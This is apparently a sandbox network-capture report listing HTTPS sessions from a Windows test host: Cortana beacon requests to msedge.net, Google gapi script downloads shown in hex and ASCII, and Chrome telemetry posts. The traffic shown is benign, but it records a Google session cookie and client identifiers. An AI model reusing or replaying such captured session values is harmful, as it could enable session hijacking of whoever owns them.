2024-10-23 22:27:53 UTC	483	OUT	GET /apc/trans.gif?be502d8ba45b794bb9a4ed7b34197dc5 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: mcr-ring.msedge.net Connection: Keep-Alive
2024-10-23 22:27:53 UTC	710	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 07 Oct 2024 03:46:52 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: DFW31r5b X-Frontend: AFD X-Machinename: DFW311000103009 X-Userhostaddress: 173.254.250.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0A846D4C114D4608A8F2F7A0AA422A2F Ref B: DFW311000103009 Ref C: 2024-10-23T22:27:53Z Date: Wed, 23 Oct 2024 22:27:53 GMT Connection: close
2024-10-23 22:27:53 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49783	142.250.186.142	443	1364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:53 UTC	737	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 22:27:54 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 22 Oct 2024 16:48:08 GMT Expires: Wed, 22 Oct 2025 16:48:08 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 106785 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-23 22:27:54 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-10-23 22:27:54 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.16	49784	150.171.69.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:54 UTC	483	OUT	GET /apc/trans.gif?fabc2574088505862363021ddafa715f HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: mcr-ring.msedge.net Connection: Keep-Alive
2024-10-23 22:27:54 UTC	710	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 07 Oct 2024 03:46:52 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: DFW31r5d X-Frontend: AFD X-Machinename: DFW311000108017 X-Userhostaddress: 173.254.250.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AB2B71E9F6554F518B4C49374712C0CD Ref B: DFW311000108017 Ref C: 2024-10-23T22:27:54Z Date: Wed, 23 Oct 2024 22:27:54 GMT Connection: close
2024-10-23 22:27:54 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49785	142.250.185.206	443	1364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:54 UTC	722	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 22:27:54 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 32 39 37 32 32 34 37 31 36 33 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1729722471631",null,null,null,
2024-10-23 22:27:55 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=nX8NpgXTzFqIRP5lxe9DguFQ-BhSofHhT5Yrp-moH4DxzNnOixvwFMk7PfxzUfdIBvbvECp-H50_YGtkpzXc3FnQ2A2AolMoULTEB85SE8uSrJjWX6FjR6gmzlMaEFt2DpECUzCQvdsfOUu7mSOCkKO5J0PSratMcqF3SiMg2aBQn7sgxxc; expires=Thu, 24-Apr-2025 22:27:55 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 23 Oct 2024 22:27:55 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 23 Oct 2024 22:27:55 GMT Connection: close Transfer-Encoding: chunked
2024-10-23 22:27:55 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-23 22:27:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.16	49787	204.79.197.222	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:55 UTC	1116	OUT	GET /r.gif?MonitorID=asgw&rid=f71e1e1813109fa99c95fe393109885e&w3c=true&prot=https:&v=20190506&DATA=[{%22RequestID%22:%22p-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:889,%22T%22:1},{%22RequestID%22:%22p-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:871,%22T%22:1},{%22RequestID%22:%22t-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:-1,%22T%22:1},{%22RequestID%22:%22mcr-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:921,%22T%22:1},{%22RequestID%22:%22mcr-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:892,%22T%22:1}] HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp.msedge.net Connection: Keep-Alive
2024-10-23 22:27:55 UTC	308	IN	HTTP/1.1 200 OK Cache-Control: no-store Transfer-Encoding: chunked Content-Type: image/gif Access-Control-Allow-Origin: https://www.bing.com X-MSEdge-Ref: Ref A: 65CE9032363E4978A8D7302C2B7435CA Ref B: DFW30EDGE1811 Ref C: 2024-10-23T22:27:55Z Date: Wed, 23 Oct 2024 22:27:54 GMT Connection: close
2024-10-23 22:27:55 UTC	12	IN	Data Raw: 37 0d 0a 47 49 46 38 39 61 01 0d 0a Data Ascii: 7GIF89a
2024-10-23 22:27:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49788	142.250.185.206	443	1364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:57 UTC	919	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=nX8NpgXTzFqIRP5lxe9DguFQ-BhSofHhT5Yrp-moH4DxzNnOixvwFMk7PfxzUfdIBvbvECp-H50_YGtkpzXc3FnQ2A2AolMoULTEB85SE8uSrJjWX6FjR6gmzlMaEFt2DpECUzCQvdsfOUu7mSOCkKO5J0PSratMcqF3SiMg2aBQn7sgxxc
